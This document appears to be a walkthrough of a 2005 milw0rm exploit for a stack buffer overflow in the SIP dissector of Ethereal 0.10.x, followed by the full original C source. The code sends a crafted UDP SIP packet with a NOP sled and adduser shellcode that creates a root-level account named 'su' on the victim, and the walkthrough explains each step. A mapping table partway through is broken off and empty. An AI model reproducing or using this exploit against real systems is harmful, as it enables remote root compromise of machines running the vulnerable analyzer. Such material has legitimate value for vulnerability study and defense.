Ethereal 0.10.x SIP Dissector Remote Buffer Overflow Explained

Ethereal 0.10.x SIP Dissector Remote Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the Ethereal (now Wireshark) network protocol analyzer, specifically affecting versions 0.10.0 through 0.10.10. The vulnerability lies within the SIP (Session Initiation Protocol) dissector. By sending a specially crafted SIP packet, an attacker could trigger a buffer overflow, leading to remote code execution with root privileges on the target system. The exploit provided aims to add a new user named "su" with the password "su" to the victim machine.
Simple technical breakdown
Ethereal's SIP dissector, when processing a malformed SIP packet, would incorrectly handle a long CSeq-Method field. This field is part of a SIP request. The exploit crafts a packet where this field is excessively long, causing it to overwrite adjacent memory on the stack. This overwrite includes the return address, which is a pointer to where the program should continue execution after the current function finishes. By overwriting the return address with a pointer to the attacker's shellcode, the program, upon returning from the vulnerable function, will instead jump to and execute the shellcode. The shellcode's purpose is to create a new user with administrative privileges.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break down its components:
1. Includes and Global Variables:
#include <stdio.h>,#include <stdlib.h>,#include <sys/types.h>,#include <sys/socket.h>,#include <netdb.h>,#include <netinet/in.h>: Standard C library headers for input/output, memory allocation, system data types, socket programming, network database functions, and internet addresses.sip_header[]: This array contains the initial part of a crafted SIP packet. It starts with anOPTIONSrequest, a common SIP method.\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b: This is the beginning of the SIP packet, containing headers likeOPTIONS,Via, andFrom. It's designed to look like a legitimate, albeit unusual, SIP request.
callid[]: This array contains theCall-ID:header, which is a mandatory header in SIP.\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20: Represents the\nCall-ID:part of the header.
shellcode[]: This is the actual payload that will be executed on the victim machine. It's designed to create a new user named "su" with the password "su". The comment indicates it's 116 bytes and split into two parts due to buffer limitations, though only one part is shown here.\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5\xb7\x95\xbb\x83\xeb\xfc\xe2\xf4\x94\x7e\x1c\x70\xcf\xf1\xcd\x76\x25\xdd\x90\xe3\x94\x7e\xc4\xd3\xd6\xc4\xe2\xdf\xcd\x98\xba\xcb\xc4\xdf\xba\xde\xd1\xd4\x1c\x58\xe4\x02\x91\x76\x25\x24\x7d\x9b\xa5\xb7\x95\xc8\xd0\x8d\xd4\xfa\xdf\xf2\xac\xd4\xd4\xf9\xdd\xed\xf5\x82\xe6\x81\x95\x8d\xa5\x81\x9f\x98\xaf\x94\xc7\xde\xfb\x94\xd6\xdf\x9f\xe2\x2e\xe6: This is the machine code for the shellcode. Its exact functionality (e.g., system calls for user creation) is not explicitly detailed in the comments but is implied by its purpose.
cseq[]: This array contains theCSeq:header, another mandatory SIP header.\x0a\x43\x53\x65\x71\x3a\x20: Represents the\nCSeq:part.
cseq_method[]: This is the critical part that triggers the overflow. It's intended to be the "method" part of theCSeqheader (e.g.,INVITE,BYE). The exploit crafts this field to be excessively long and contain specific bytes that, when combined with other parts of the packet, overwrite the return address. The comment mentions that the first byte must beisalpha()to pass a check, hence the specific bytes used.\x69\xd1\xa1\xef\x58\x3b\xcf\xb6\xcd\x76\x25\xb7\x95\xbb: These bytes are part of the overflow data. The\x69is likely chosen to pass theisalpha()check.
sip_footer[]: This array contains the remaining headers to make the SIP packet appear valid.\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63\x6b\x3a\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x57\x30\x30\x64\x70\x33\x63\x6b\x33\x72\x20\x0a: Contains headers likeContact,Content-Length,Max-Forwards, andUser-Agent.
2. main function:
int main(int argc, char * argv[]): The entry point of the program. It takes command-line arguments.unsigned int i, offset, ret, p_addr;: Declares variables for loop counters, buffer offsets, the return address, and a pointer to the shellcode.struct sockaddr_in dest;: Structure to hold the destination socket address.struct hostent *he;: Structure to hold host information.int sock, slen = sizeof(struct sockaddr);: Socket file descriptor and size of the socket address structure.unsigned char buffer[2048];: The buffer that will hold the crafted exploit packet.
3. Argument Handling:
if(argc < 3): Checks if the correct number of arguments (flag and host) are provided. If not, it prints usage instructions and exits.if (argv[1][0] == '1') { p_addr = 0xbffee328; }: Sets thep_addr(pointer to shellcode) based on the first argument. This value is likely a hardcoded address within the stack or heap where the shellcode is placed.if (argv[1][0] == '2') { p_addr = 0xbffee338; }: Another possible address for the shellcode, depending on the flag.- Mapping:
argv[1][0] == '1'->p_addr = 0xbffee328argv[1][0] == '2'->p_addr = 0xbffee338
- Mapping:
4. Network Setup:
if((he = gethostbyname(argv[2])) == NULL): Resolves the target hostname to an IP address. If it fails, it prints an error and exits.if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0): Creates a UDP socket. The exploit uses UDP because SIP often runs over UDP.dest.sin_port = htons(5060);: Sets the destination port to 5060, the standard SIP port.dest.sin_family = AF_INET;: Specifies the address family as IPv4.dest.sin_addr = *((struct in_addr *)he->h_addr);: Sets the destination IP address.
5. Packet Generation:
ret = 0xbffee240;: Sets theretvariable, which holds the target return address that will be overwritten. This is a crucial hardcoded value that depends on the target system's memory layout.offset = 0;: Initializes the buffer offset.memset(buffer, 0x0, sizeof(buffer));: Clears the entire buffer with null bytes.memcpy(buffer+offset, sip_header, sizeof(sip_header)); offset += sizeof(sip_header) -1;: Copies thesip_headerinto the buffer.sizeof(sip_header) - 1is used becausesizeofincludes the null terminator, which we don't want to copy as part of the data.- Mapping:
sip_header-> Initial SIP request and headers.
- Mapping:
memcpy(buffer+offset, callid, sizeof(callid)); offset += sizeof(callid) -1;: Appends theCall-ID:header.- Mapping:
callid->Call-ID:header.
- Mapping:
i = 128 - sizeof(shellcode) +1; memset(buffer+offset, 0x90, i); offset += i;: This section prepares space for the shellcode. It fills a portion of the buffer with NOP (No Operation) instructions (\x90). The size calculation128 - sizeof(shellcode) + 1suggests that there's a buffer of approximately 128 bytes intended for theCall-IDvalue, and the NOP sled is used to ensure that if the return address lands anywhere within this sled, it will eventually slide down to the actual shellcode.- Mapping:
memset(buffer+offset, 0x90, i)-> NOP sled for reliable shellcode execution.
- Mapping:
memcpy(buffer+offset, shellcode, sizeof(shellcode)); offset += sizeof(shellcode) -1;: Inserts the actual shellcode into the buffer after the NOP sled.- Mapping:
shellcode-> User creation payload.
- Mapping:
memcpy(buffer+offset, cseq, sizeof(cseq)); offset += sizeof(cseq) -1;: Appends theCSeq:header.- Mapping:
cseq->CSeq:header.
- Mapping:
memcpy(buffer+offset, cseq_method, sizeof(cseq_method)); offset += sizeof(cseq_method) -1;: Appends the malformedCSeq-Methodfield. This is where the overflow begins.- Mapping:
cseq_method-> Trigger for buffer overflow.
- Mapping:
memset(buffer+offset, 0x41, 30); offset += 30;: Fills the buffer with 'A' characters (ASCII 0x41) to pad theCSeq-Methodfield and reach the return address. This padding is crucial for overwriting the return address correctly.- Mapping:
memset(buffer+offset, 0x41, 30)-> Padding to reach the return address.
- Mapping:
*(long *)&buffer[offset] = ret; offset += 4;: This is the core of the exploit. It writes the target return address (ret) into the buffer at the current offset. This overwrites the legitimate return address on the stack.- Mapping:
*(long *)&buffer[offset] = ret-> Overwriting the return address with the target address.
- Mapping:
*(long *)&buffer[offset] = 0x08215184; offset += 4;: This writes another value after the overwritten return address. The comment "is a pointer DEST-value: 0x1" is unclear without more context of the Ethereal dissector's internal structures. It might be a pointer to a specific data structure or a value that needs to be set for the program to proceed after the overflow, or it could be part of the exploit's technique to bypass certain checks or ensure correct execution flow.- Mapping:
*(long *)&buffer[offset] = 0x08215184-> Potentially a stack adjustment or control flow helper value.
- Mapping:
*(long *)&buffer[offset] = p_addr; offset += 4;: Writes the address of the shellcode (p_addr) into the buffer. This value is placed after the overwritten return address and the previous value. This is likely intended to overwrite a saved instruction pointer or another critical control flow variable that the vulnerable function might use upon exit, redirecting execution to the shellcode.- Mapping:
*(long *)&buffer[offset] = p_addr-> Overwriting a control flow pointer with the shellcode address.
- Mapping:
memcpy(buffer+offset, sip_footer, sizeof(sip_footer));: Appends thesip_footerto complete the SIP packet.- Mapping:
sip_footer-> Final SIP headers.
- Mapping:
6. Sending the Exploit:
if (sendto(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&dest, slen)== -1): Sends the crafted UDP packet to the target host and port.printf("[*] dark W00dp3ck3r packet sent!\n");: Informs the user that the packet has been sent.close(sock);: Closes the socket.return 0;: Exits the program successfully.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/* tethereal_sip.c (now quite functional)
*
* Ethereal (0.10.0 to 0.10.10) SIP Dissector remote root exploit
*
* Advisory:
* http://www.ethereal.com/appnotes/enpa-sa-00019.html
*
* produced by Team W00dp3ck3r:
* frauk\x41iser
* mag00n
* s00n
* thorben
*
* Notes:
* tested on Debian Sarge
* Linux maggot4 2.6.8-1-386 #1 Mon Sep 13 23:29:55 EDT 2004 i686 GNU/Linux
*
* tested version of ethereal:
* http://www.ethereal.com/distribution/all-versions/ethereal-0.10.10.tar.gz
* (./configure, make, make install ;))
*
* victim has to switch from normal user to root using "su -"
* the exploit adds a user named "su" with password "su" on the victim host
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
unsigned char sip_header[] =
"\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"
"\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"
"\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"
"\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"
"\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"
"\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"
"\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"
"\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"
"\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"
"\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54"
"\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b";
unsigned char callid[] =
"\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20";
/* adduser shellcode, user: "su", pwd: "su" Full Size=116, splitted into
2 parts because one buffer was too small. thx to http://metasploit.com */
unsigned char shellcode[] =
"\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"
"\xb7\x95\xbb\x83\xeb\xfc\xe2\xf4\x94\x7e\x1c\x70\xcf\xf1\xcd\x76"
"\x25\xdd\x90\xe3\x94\x7e\xc4\xd3\xd6\xc4\xe2\xdf\xcd\x98\xba\xcb"
"\xc4\xdf\xba\xde\xd1\xd4\x1c\x58\xe4\x02\x91\x76\x25\x24\x7d\x9b"
"\xa5\xb7\x95\xc8\xd0\x8d\xd4\xfa\xdf\xf2\xac\xd4\xd4\xf9\xdd\xed"
"\xf5\x82\xe6\x81\x95\x8d\xa5\x81\x9f\x98\xaf\x94\xc7\xde\xfb\x94"
"\xd6\xdf\x9f\xe2\x2e\xe6";
unsigned char cseq[] =
"\x0a\x43\x53\x65\x71\x3a\x20";
/* the malformed cseq method field. the buffer has a size of 16 byte. you need
48 byte to overwrite the return address. the first byte is checked isalpha(),
so we splitted the shellcode in a way that the first char of cseq_method passes
the isalpha() check. */
unsigned char cseq_method[] =
"\x69\xd1\xa1\xef\x58\x3b\xcf\xb6\xcd\x76\x25\xb7\x95\xbb";
/* needed to be a fully valid sip packet */
unsigned char sip_footer[] =
"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63\x6b\x3a"
"\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74"
"\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72"
"\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
"\x6e\x74\x3a\x20\x57\x30\x30\x64\x70\x33\x63\x6b\x33\x72\x20"
"\x0a";
int main(int argc, char * argv[]) {
unsigned int i, offset, ret, p_addr;
struct sockaddr_in dest;
struct hostent *he;
int sock, slen = sizeof(struct sockaddr);
unsigned char buffer[2048];
// help output
if(argc < 3) {
printf("correct syntax: %s <flag> <host> \n", argv[0]);
printf("possible flag: \n");
printf("1 the ethereal user has started tethereal"
"with full path as root \n");
printf("2 the ethereal user has started tethereal"
"without directorypath as root \n");
return 1;
}
// p_addr may differ on other systems ;)
if (argv[1][0] == '1') {
p_addr = 0xbffee328;
}
if (argv[1][0] == '2') {
p_addr = 0xbffee338;
}
// destination-ip check
if((he = gethostbyname(argv[2])) == NULL) {
printf("[!] Couldn't resolve %s\n", argv[2]);
return 1;
}
// open socket
if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket()");
return 1;
}
// set packet parameters
dest.sin_port = htons(5060);
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)he->h_addr);
// set the returnaddress (may differ on other systems)
ret = 0xbffee240;
//// generate a buffer containing the data ////
offset = 0;
// set all values of the buffer to 0x0
memset(buffer, 0x0, sizeof(buffer));
// copy the header into the buffer
memcpy(buffer+offset, sip_header, sizeof(sip_header));
offset += sizeof(sip_header) -1;
// concat the callid into the buffer
memcpy(buffer+offset, callid, sizeof(callid));
offset += sizeof(callid) -1;
// add the callid-value (nop+shellcode)
i = 128 - sizeof(shellcode) +1;
memset(buffer+offset, 0x90, i);
offset += i;
// insert shellcode into buffer
memcpy(buffer+offset, shellcode, sizeof(shellcode));
offset += sizeof(shellcode) -1;
// concat the cseq
memcpy(buffer+offset, cseq, sizeof(cseq));
offset += sizeof(cseq) -1;
// generate the part, which causes the overflow (=cseq-method)
memcpy(buffer+offset, cseq_method, sizeof(cseq_method));
offset += sizeof(cseq_method) -1;
// fill the rest of cseq_method with A
memset(buffer+offset, 0x41, 30);
offset += 30;
// write return address
*(long *)&buffer[offset] = ret;
offset += 4;
// repair the first pointer after ret- address
*(long *)&buffer[offset] = 0x08215184; // is a pointer DEST-value: 0x1
offset += 4;
// repair second pointer after ret- address
*(long *)&buffer[offset] = p_addr;
offset += 4;
// the finalising part of the message
memcpy(buffer+offset, sip_footer, sizeof(sip_footer));
// send the buffer to the victim
if (sendto(sock, buffer, sizeof(buffer), 0,
(struct sockaddr *)&dest, slen)== -1) {
printf("[!] Error sending packet!\n");
return 1;
}
// DEBUG //
// printf("%s\n", buffer);
printf("[*] dark W00dp3ck3r packet sent!\n");
close(sock);
return 0;
}
// milw0rm.com [2005-05-31]